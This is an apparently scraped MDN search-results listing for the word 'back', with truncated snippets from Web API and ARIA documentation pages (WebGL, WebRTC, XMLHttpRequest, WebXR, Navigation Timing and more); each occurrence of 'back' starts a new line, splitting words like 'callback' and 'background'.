syntax var options = { characterdata: true | false } value a boolean value indicating whether or not to call the observer's call
back function when textual nodes' values change.
... if true, the call
back specified when observe() was used to start observing the node or subtree is called any time the contents of a text node are changed.
Using Navigation Timing - Web APIs
was this a navigation or a move forward or
backward through history?
...t loadingtime = now - performance.timing.navigationstart; output = "load time: " + loadingtime + " ms<br/>"; output += "navigation type: "; switch(performance.navigation.type) { case performancenavigation.type_navigate: output += "navigation"; break; case performancenavigation.type_reload: output += "reload"; break; case performancenavigation.type_
back_forward: output += "history"; break; default: output += "unknown"; break; } output += "<br/>redirects: " + performance.navigation.redirectcount; document.queryselector(".output").innerhtml = output; }, false); this amends the previous example by looking at the contents of the performance.navigation object.
Online and offline events - Web APIs
effectively, the requirements break down as such: you need to know when the user comes
back online, so that you can re-synchronize with the server.
...enthtml("beforeend", "event: " + event.type + "; status: " + condition); } window.addeventlistener('online', updateonlinestatus); window.addeventlistener('offline', updateonlinestatus); }); a touch of css #status { position: fixed; width: 100%; font: bold 1em sans-serif; color: #fff; padding: 0.5em; } #log { padding: 2.5em 0.5em 0.5em; font: 1em sans-serif; } .online {
background: green; } .offline {
background: red; } and the corresponding htmlxxx when mochitests for this are created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>this is a test</p> here's the live result notes if the api isn't implemented in the browser, you can use other signals to detect if you are offline including using serv...
NodeIterator.previousNode() - Web APIs
the nodeiterator.previousnode() method returns the previous node in the set represented by the nodeiterator and moves the position of the iterator
backwards within the set.
...deiterator.previousnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node previousnode = nodeiterator.previousnode(); // same result, since we
backtracked to the previous node specifications specification status comment domthe definition of 'nodeiterator.previousnode' in that specification.
Notification.requestPermission() - Web APIs
note: this feature is not available in sharedworker note: safari still uses the call
back syntax to get the permission.
...}); previously, the syntax was based on a simple call
back; this version is now deprecated: notification.requestpermission(call
back); parameters call
back optional deprecated since gecko 46 an optional call
back function that is called with the permission value.
OffscreenCanvas.getContext() - Web APIs
if set to false, the browser now knows that the
backdrop is always opaque, which can speed up drawing of transparent content and images then.
... (gecko only) willreadfrequently: boolean that indicates whether or not a lot of read-
back operations are planned.
PannerNode - Web APIs
pannernode.orientationz represents the longitudinal (
back and forth) position of the audio source's vector in a right-hand cartesian coordinate system.
... pannernode.positionz represents the longitudinal (
back and forth) position of the audio in a right-hand cartesian coordinate system.
ParentNode.querySelector() - Web APIs
note: characters which are not part of standard css syntax must be escaped using a
backslash character.
... since javascript also uses
backspace escaping, special care must be taken when writing string literals using these characters.
ParentNode.querySelectorAll() - Web APIs
note: characters which are not part of standard css syntax must be escaped using a
backslash character.
... since javascript also uses
backslash escaping, special care must be taken when writing string literals using these characters.
PasswordCredential - Web APIs
this property defaults to 'username', but may be overridden to match whatever the
backend service expects.
...this property defaults to 'password', but may be overridden to match whatever the
backend service expects.
PaymentRequest.canMakePayment() - Web APIs
for instance, you might call canmakepayment() to determine if the browser will let the user pay using payment request api, and if it won't, you could fall
back to another payment method, or offer a list of methods that aren't handled by payment request api (or even provide instructions for paying by mail or by phone).
...it wraps the call to canmakepayment() in feature detection, and calls an appropriate call
back depending on the resolution of the promise.
Performance: resourcetimingbufferfull event - Web APIs
bubbles yes cancelable yes interface event event handler property onresourcetimingbufferfull examples the following example sets a call
back function on the onresourcetimingbufferfull property.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a call
back if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
PerformanceEventTiming - Web APIs
function sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.sendbeacon()` if available, falling
back to `fetch()`.
...this typically happens when a // page is loaded in a
background tab.
PerformanceNavigationTiming.type - Web APIs
the value must be one of the following: navigate navigation started by clicking a link, entering the url in the browser's address bar, form submission, or initializing through a script operation other than reload and
back_forward as listed below.
...
back_forward navigation is through the browser's history traversal operation.
Using the Permissions API - Web APIs
this works in exactly the same way as the permissions.query() method, except that it causes an existing permission to be reverted
back to its default state when the promise successfully resolves (which is usually prompt).
...if we choose to never share our location from the permission prompt (deny permission), then we can't get
back to the permission prompt without using the browser menu options: firefox: tools > page info > permissions > access your location.
PromiseRejectionEvent.promise - Web APIs
examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle call
back that will retry the task that failed to execute correctly.
... window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecall
back(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification.
PublicKeyCredentialCreationOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator, using its private key, and must be sent
back for verification to the server as part of authenticatorattestationresponse.attestationobject.
...contains a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent
back (within the response) to the relying party's server for verification.
PublicKeyCredentialRequestOptions.extensions - Web APIs
for instance, extensions may be used for:
backward compatibility with the legacy fido js api, knowing the user verification process, etc.
... examples var options = { extensions: { uvm: true, loc: false, txauthsimple: "could you please verify yourself?" }, challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'extensions' in that specification.
PublicKeyCredentialRequestOptions - Web APIs
this value will be signed by the authenticator and the signature will be sent
back as part of authenticatorassertionresponse.signature.
... "internal", type: "public-key", id: new uint8array(26) // actually provided by the server } ], extensions: { uvm: true, // rp wants to know how the user was verified loc: false, txauthsimple: "could you please verify yourself?" } }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialrequestoptions dictionary' in that specification.
RTCOfferOptions.iceRestart - Web APIs
it watches for the ice connection state to transition to "failed", which indicates that an ice restart should be tried in order to attempt to bring the connection
back up.
...otherwise, we call
back to the older technique: we manually create a new offer with icerestart set to true, then that offer is set as the new local description for the connection.
RTCPeerConnection.createDataChannel() - Web APIs
this can be useful for
back-channel content such as images, file transfer, text chat, game update packets, and so forth.
...c = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat"); channel.onopen = function(event) { channel.send('hi you!'); } channel.onmessage = function(event) { console.log(event.data); } // answerer side var pc = new rtcpeerconnection(options); pc.ondatachannel = function(event) { var channel = event.channel; channel.onopen = function(event) { channel.send('hi
back!'); } channel.onmessage = function(event) { console.log(event.data); } } alternatively, more symmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here): // both sides var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat", {negotiated: true, id: 0}); channel.onopen = function(event) { channel.send('hi!'); } channel.onmessage = func...
RTCSessionDescription() - Web APIs
roll
back this special type with an empty session description is used to roll
back to the previous stable state.
... navigator.getusermedia({video: true}, function(stream) { pc.onaddstream({stream: stream}); // adding a local stream won't trigger the onaddstream call
back pc.addstream(stream); pc.createoffer(function(offer) { pc.setlocaldescription(new rtcsessiondescription(offer), function() { // send the offer to a server to be forwarded to the friend you're calling.
RTCSessionDescription - Web APIs
the process of negotiating a connection between two peers involves exchanging rtcsessiondescription objects
back and forth, with each description suggesting one combination of connection configuration options that the sender of the description supports.
... roll
back this special type with an empty session description is used to roll
back to the previous stable state.
ReadableStream.ReadableStream() - Web APIs
this takes two parameters: highwatermark a non-negative integer — this defines the total number of chunks that can be contained in the internal queue before
backpressure is applied.
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data
back out of the stream.
ReportingObserver() - Web APIs
syntax new reportingobserver(call
back[, options]); parameters call
back a call
back function that runs when the observer starts to collect reports (i.e.
...the call
back function is given two parameters: reports: a sequence of report objects representing the reports collected in the observer's report queue.
Using the Resource Timing API - Web APIs
the following code example sets a onresourcetimingbufferfull event call
back in the init() function.
...ng: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 = new image(); image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; var image2 = new image(); image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg" // set a call
back if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } coping with cors when cors is in effect, many of the timing properties' values are returned as zero unless the server's access policy permits these values to be shared.
Screen.mozBrightness - Web APIs
indicates how bright the screen's
backlight is, on a scale from 0 (very dim) to 1 (full brightness); this value is a double-precision float.
... you can read and write this attribute even when the screen is disabled, but the
backlight is off while the screen is disabled.
ServiceWorkerRegistration.sync - Web APIs
the sync property of the serviceworkerregistration interface returns a reference to the syncmanager interface, which manages
background synchronization processes.
... specifications specification status comment web
background synchronization living standard initial definition.
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated
back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognition: result event - Web APIs
the result event of the web speech api is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated
back to the app bubbles no cancelable no interface speechrecognitionevent event handler property onresult examples this code is excerpted from our speech color changer example.
... you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
Using readable streams - Web APIs
if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come
back.
...when the button is pressed, the interval is cancelled, and a function called readstream() is invoked to read the data
back out of the stream again.
Streams API - Web APIs
this object comes with built-in
backpressure and queuing.
... simple random stream: this example shows how to use a custom stream to generate random strings, enqueue them as chunks, and then read them
back out again.
StylePropertyMapReadOnly.forEach() - Web APIs
syntax stylepropertymapreadonly.foreach(function call
back(currentvalue[, index[, array]]) { //your code }[, thisarg]); parameters call
back the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... thisarg optional value to use as this (i.e the reference object) when executing call
back.
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchparams interface allows iteration through all values contained in this object via a call
back function.
... syntax searchparams.foreach(call
back); parameters call
back a call
back function that is executed against each parameter, with the param value provided as its parameter.
WebGL2RenderingContext.bindBufferBase() - Web APIs
possible values: gl.transform_feed
back_buffer gl.uniform_buffer index a gluint specifying the index of the target.
... examples gl.bindbufferbase(gl.transform_feed
back_buffer, 0, buffer); specifications specification status comment webgl 2.0the definition of 'bindbufferbase' in that specification.
WebGL2RenderingContext.bindBufferRange() - Web APIs
possible values: gl.transform_feed
back_buffer gl.uniform_buffer index a gluint specifying the index of the target.
... examples gl.bindbufferrange(gl.transform_feed
back_buffer, 1, buffer, 0, 4); specifications specification status comment webgl 2.0the definition of 'bindbufferrange' in that specification.
WebGL2RenderingContext.getBufferSubData() - Web APIs
gl.transform_feed
back_buffer: buffer for transform feed
back operations.
... an invalid_operation error is generated if: zero is bound to target target is transform_feed
back_buffer, and any transform feed
back object is currently active.
WebGLActiveInfo - Web APIs
examples a webglactiveinfo object is returned by: webglrenderingcontext.getactiveattrib() webglrenderingcontext.getactiveuniform() or webgl2renderingcontext.gettransformfeed
backvarying() webglactiveinfo?
...gettransformfeed
backvarying(webglprogram?
WebGLRenderingContext.bindBuffer() - Web APIs
gl.transform_feed
back_buffer: buffer for transform feed
back operations.
... adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feed
back_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer opengl es 3.0the definition of 'glbindbuffer' in that specification.
WebGLRenderingContext.bufferData() - Web APIs
gl.transform_feed
back_buffer: buffer for transform feed
back operations.
... adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feed
back_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer adds new usage hints: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy.
WebGLRenderingContext.bufferSubData() - Web APIs
gl.transform_feed
back_buffer: buffer for transform feed
back operations.
... adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feed
back_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer.
WebGLRenderingContext.commit() - Web APIs
the webglrenderingcontext.commit() method pushes frames
back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... // push frames
back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'the commit() method of the offscreencanvas object's rendering context' in that specification.
WebGLRenderingContext.getBufferParameter() - Web APIs
gl.transform_feed
back_buffer: buffer for transform feed
back operations.
... adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feed
back_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer adds new usage hints: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy.
WebGLRenderingContext.stencilFunc() - Web APIs
the webglrenderingcontext.stencilfunc() method of the webgl api sets the front and
back function and reference value for stencil testing.
... gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_
back_func); gl.getparameter(gl.stencil_
back_value_mask); gl.getparameter(gl.stencil_
back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfunc' in that specification.
WebGLRenderingContext.stencilOp() - Web APIs
the webglrenderingcontext.stencilop() method of the webgl api sets both the front and
back-facing stencil test actions.
... gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_
back_fail); gl.getparameter(gl.stencil_
back_pass_depth_pass); gl.getparameter(gl.stencil_
back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilop' in that specification.
Clearing with colors - Web APIs
note that css sets the
background color of the canvas to black, so when the canvas turns green we know that webgl's magic has worked.
...--> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } // run everything inside window load event handler, to make sure // dom is fully loaded and styled before trying to manipulate it, // and to not mess up the global scope.
Simple color animation - Web APIs
below to toggle the color animation on or off.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation.
... timer = setinterval(drawanimation, 1000); // give immediate feed
back to user after clicking, by // drawing one animation frame.
Getting started with WebGL - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page
background.
...in this case, we set the clear color to black, and clear the context to that color (redrawing the canvas with the
background color).
WebGL: 2D and 3D graphics for the web - Web APIs
reference standard interfaces webglrenderingcontext webgl2renderingcontext webglactiveinfo webglbuffer webglcontextevent webglframebuffer webglprogram webglquery webglrenderbuffer webglsampler webglshader webglshaderprecisionformat webglsync webgltexture webgltransformfeed
back webgluniformlocation webglvertexarrayobject extensions angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint ...
...it is based on opengl es 3.0 and new features include: 3d textures, sampler objects, uniform buffer objects, sync objects, query objects, transform feed
back objects, promoted extensions that are now core to webgl 2: vertex array objects, instancing, multiple render targets, fragment depth.
WebRTC API - Web APIs
this can be used for
back-channel information, metadata exchange, game status packets, file transfers, or even as a primary channel for data transfer.
... rtcsessiondescriptioncall
back the rtcsessiondescriptioncall
back is passed into the rtcpeerconnection object when requesting it to create offers or answers.
Writing a WebSocket server in C# - Web APIs
you must: obtain the value of the "sec-websocket-key" request header without any leading or trailing whitespace concatenate it with "258eafa5-e914-47da-95ca-c5ab0dc85b11" (a special guid specified by rfc 6455) compute sha-1 and base64 hash of the new value write the hash
back as the value of "sec-websocket-accept" response header in an http response if (new system.text.regularexpressions.regex("^get").ismatch(data)) { const string eol = "\r\n"; // http/1.1 defines the sequence cr lf as the end-of-line marker byte[] response = encoding.utf8.getbytes("http/1.1 101 switching protocols" + eol + "connection: upgrade" + eol + "upgrade: websocket"...
...write the hash
back as the value of "sec-websocket-accept" response header in an http response string swk = regex.match(s, "sec-websocket-key: (.*)").groups[1].value.trim(); string swka = swk + "258eafa5-e914-47da-95ca-c5ab0dc85b11"; byte[] swkasha1 = system.security.cryptography.sha1.create().computehash(encoding.utf8.getbytes(swka)); string swkasha1ba...
WebXR application life cycle - Web APIs
each requestanimationframe() call
back should use the information provided about the objects located in the 3d world to render the frame using webgl.
... each time the call
back is invoked, it should call requestanimationframe() again in order to let the browser know that the call
back needs to be run again when it's time to render the next frame.
Lighting a WebXR setting - Web APIs
flash
back: simulating lighting in 3d although this article isn't a comprehensive guide to lighting a 3d scene, it's useful to provide a brief reminder as to how lighting works in general.
... between the law of reflection and the fact that the brightness of the light rays decreases with distance, the light emitted by a point source and reflected
back tends to be brightest at the closest point to the light source and dimmer the farther away it is.
WebXR Device API - Web APIs
to get an xrframe, call the session's requestanimationframe() method, providing a call
back which will be called with the xrframe once available.
... rendering and the webxr frame animation call
back starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the webgl buffer used for each of the two eyes' views of the scene.
Keyframe Formats - Web APIs
element.animate({ opacity: [ 0, 1 ], // offset: 0, 1
backgroundcolor: [ "red", "yellow", "green" ], // offset: 0, 0.5, 1 }, 2000); the special keys offset, easing, and composite (described below) may be specified alongside the property values.
...the property names are specified using camel-case so for example
background-color becomes
backgroundcolor and
background-position-x becomes
backgroundpositionx.
Controlling multiple parameters with ConstantSourceNode - Web APIs
you could use a loop and change the value of each affected audioparam one at a time, but there are two draw
backs to doing it that way: first, that's extra code that, as you're about to see, you don't have to write; and second, that loop uses valuable cpu time on your thread (likely the main thread), and there's a way to offload all that work to the audio rendering thread, which is optimized for this kind of work and may run at a more appropriate priority level than your code.
... toggling the oscillators on and off because oscillatornode doesn't support the notion of being in a paused state, we have to simulate it by terminating the oscillators and starting them again when the play button is clicked again to toggle them
back on.
Using the Web Audio API - Web APIs
if you simply want to control play
back of an audio track, the <audio> media element provides a better, quicker solution than the web audio api.
... if you want to carry out more complex audio processing, as well as play
back, the web audio api provides much more power and control.
Using the Web Storage API - Web APIs
for example: function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.
backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } here, the first three lines grab the values from local storage.
... function populatestorage() { localstorage.setitem('bgcolor', document.getelementbyid('bgcolor').value); localstorage.setitem('font', document.getelementbyid('font').value); localstorage.setitem('image', document.getelementbyid('image').value); setstyles(); } the populatestorage() function sets three items in local storage — the
background color, font, and image path.
Web Workers API - Web APIs
web workers makes it possible to run a script operation in a
background thread separate from the main execution thread of a web application.
...they will also allow access to push notifications and
background sync apis.
Window.history - Web APIs
example history.
back(); // equivalent to clicking
back button history.go(-1); // equivalent to history.
back(); notes for top-level pages you can see the list of pages in the session history, accessible via the history object, in the browser's dropdowns next to the
back and forward buttons.
... there is no way to clear the session history or to disable the
back/forward navigation from unprivileged code.
Window.openDialog() - Web APIs
the variables specified in the javascript code which gets loaded from the dialog), it is not possible to pass return values
back past the close operation using globals (or any other constructs).
... to be able to pass values
back to the caller, you have to supply some object via the extra parameters.
Window: pageshow event - Web APIs
this includes: initially loading the page navigating to the page from another page in the same window or tab restoring a frozen page on mobile oses returning to the page using the browser's forward or
back buttons during the initial page load, the pageshow event fires after the load event.
...try loading new pages into this tab, then navigating forward and
backward through history, noting the events’ output to the log.</p> results specifications specification status comment html living standardthe definition of 'pageshow' in that specification.
window.postMessage() - Web APIs
(the other properties have their expected values.) it is not possible for content or web context scripts to specify a targetorigin to communicate directly with an extension (either the
background script or a content script).
... content scripts should use runtime.sendmessage to communicate with the
background script.
Worker.onmessage - Web APIs
an onmessage handler is also present, to deal with messages that are passed
back from the worker.
...o worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, an onmessage handler is used to the handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message
back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (dedicatedworkerglobalscope).
HTML in XMLHttpRequest - Web APIs
this test file is small and is not well-formed xml: <title>&&<</title> if the file is named detect.html, the following function can be used for detecting html parsing support: function detecthtmlinxhr(call
back) { if (!window.xmlhttprequest) { window.settimeout(function() { call
back(false); }, 0); return; } var done = false; var xhr = new window.xmlhttprequest(); xhr.onreadystatechange = function() { if (this.readystate == 4 && !done) { done = true; call
back(!!(this.responsexml && this.responsexml.title && this.responsexml.title == "&&<")); } } xhr.onabort = xhr...
....onerror = function() { if (!done) { done = true; call
back(false); } } try { xhr.open("get", "detect.html"); xhr.responsetype = "document"; xhr.send(); } catch (e) { window.settimeout(function() { if (!done) { done = true; call
back(false); } }, 0); } } the argument call
back is a function that will be called asynchronously with true as the only argument if html parsing is supported and false as the only argument if html parsing is not supported.
Using XMLHttpRequest - Web APIs
last modified date changes let's create two functions: function getheadertime () { var nlastvisit = parsefloat(window.localstorage.getitem('lm_' + this.filepath)); var nlastmodif = date.parse(this.getresponseheader("last-modified")); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { window.localstorage.setitem('lm_' + this.filepath, date.now()); isfinite(nlastvisit) && this.call
back(nlastmodif, nlastvisit); } } function ifhaschanged(surl, fcall
back) { var oreq = new xmlhttprequest(); oreq.open("head" /* use head - we only need the headers!
... */, surl); oreq.call
back = fcall
back; oreq.filepath = surl; oreq.onload = getheadertime; oreq.send(); } and to test: /* let's test the file "yourpage.html"...
XMLHttpRequest.onreadystatechange - Web APIs
the call
back is called from the user interface thread.
... syntax xmlhttprequest.onreadystatechange = call
back; values call
back is the function to be executed when the readystate changes.
XMLHttpRequest.response - Web APIs
it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the call
back function provided to load().
... var url = 'somepage.html'; //a local page function load(url, call
back) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { call
back(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest - Web APIs
xmlhttprequest.moz
backgroundrequest is a boolean.
... it indicates whether or not the object represents a
background service request.
XMLHttpRequestEventTarget.onload - Web APIs
syntax xmlhttprequest.onload = call
back; values call
back is the function to be executed when the request completes successfully.
...the context) is the same xmlhttprequest this call
back is related to.
XRFrame.getViewerPose() - Web APIs
exceptions invalidstateerror a domexception indicating that getviewerpose() was not called within the context of a call
back to a session's xrsession.requestanimationframe().
... examples in this call
back function for requestanimationframe(), the xrviewerpose describing the viewer's viewpoint on the world is obtained by calling getviewerpose() on the xrframe passed into the call
back.
XRInputSource.gripSpace - Web APIs
as shown in the diagram above, the coordinate system is oriented as follows: the x-axis is perpendicular to the palm of the user's hand, with the direction extending outward from the
back of the hand being +x if the controller is in the user's right hand or -x if the controller is in the left hand.
... examples in tis example, taken from the frame rendering call
back, the gripspace is used to render a mesh that represents the position and orieintation of the controller in the virtual environment.
XRPose.emulatedPosition - Web APIs
no information is available about movement forward,
backward, or to the sides.
... contrariwise, xr devices which can also track movement forward and
backward as well as laterally—six degree of freedom (6dof) devices—don't require any information from other sources to determine the user's position, so the value of emulatedposition is false.
XRSession - Web APIs
cancelanimationframe() removes a call
back from the animation frame painting call
back from xrsession's set of animation frame rendering call
backs, given the identifying handle returned by a previous call to requestanimationframe().
...returns an integer value which can be used to identify the request for the purposes of canceling the call
back using cancelanimationframe().
XRWebGLLayer.framebuffer - Web APIs
opaque framebuffers are considered incomplete and are not available for rendering other than while executing the requestanimationframe() call
back.
...calling checkframebufferstatus() on the webgl context from outside the animation frame call
back causes the webgl framebuffer_unsupported error (0x8cdd) to be reported.
ARIA: feed role - Accessibility
the list establishes an interoperability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and
backward by article, and reliably trigger new articles to load while in reading mode.
...if the addition of articles occupies the main browser thread, make sure to set aria-busy="true" on the feed itself, and make sure to set it
back to false when processing ends, or the user may not see the updates.
ARIA: grid role - Accessibility
body { margin: 2rem; font-family: "helvetica neue", sans-serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus {
background-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.
...> </tr> <!-- … additional rows … --> </tbody> </table> css table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus {
background-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gr...
ARIA: tab role - Accessibility
</div> <div id="panel-2" role="tabpanel" tabindex="0" aria-labelledby="tab-2" hidden> <p>content for the second panel</p> </div> <div id="panel-3" role="tabpanel" tabindex="0" aria-labelledby="tab-3" hidden> <p>content for the third panel</p> </div> </div> .tabs { padding: 1em; } [role="tablist"] { margin-bottom: -1px; } [role="tab"] { position: relative; z-index: 1;
background: white; border-radius: 5px 5px 0 0; border: 1px solid grey; border-bottom: 0; padding: 0.2em; } [role="tab"][aria-selected="true"] { z-index: 3; } [role="tabpanel"] { position: relative; padding: 0 0.5em 0.5em 0.7em; border: 1px solid grey; border-radius: 0 0 5px 5px;
background: white; z-index: 2; } [role="tabpanel"]:focus { border-color: orange; outline: 1px s...
...if the counter is greater than the number of tab elements we have, we circle
back to the first tab by setting that counter to 0.
ARIA: button role - Accessibility
html <h1>aria button example</h1> <ul id="namelist"></ul> <label for="newname">enter your name: </label> <input type="text" id="newname"> <span role="button" tabindex="0" onclick="handlecommand()" onkeydown="handlecommand()">add name</span> css [role="button"] { padding: 2px;
background-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active {
background-color: white; color: navy; } ul { list-style: none; } javascript function handlecommand(event) { // handles both mouse clicks and keyboard // activate with enter or space // get the new name value from the input element let newna...
...when the button is activated, the aria-pressed value switches states; changing from true to false and
back again.
Alerts - Accessibility
you can then shift-tab
back and correct the error.
...why don’t you set focus
back to the invalid field automatically?
Accessibility Information for Web Authors - Accessibility
(...) about one-third complained about low contrast between text and
background." top ten web design mistakes of 2005: 1.
... legibility problems how can a web author establish easily and quickly if the
background color and foreground (text) color in use in his webpages have sufficient color contrast difference and sufficient color brightness difference?
Keyboard-navigable JavaScript widgets - Accessibility
the event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or
background color).
...choose between changing the
background color via something like this.style.
backgroundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert".
Operable - Accessibility
see ui controls and building keyboard accessibility
back in 2.1.2 no keyboard trap (a) when entering a section of functionality using the keyboard, you should be able to get out of that section again using *only* the keyboard.
... see ui controls and building keyboard accessibility
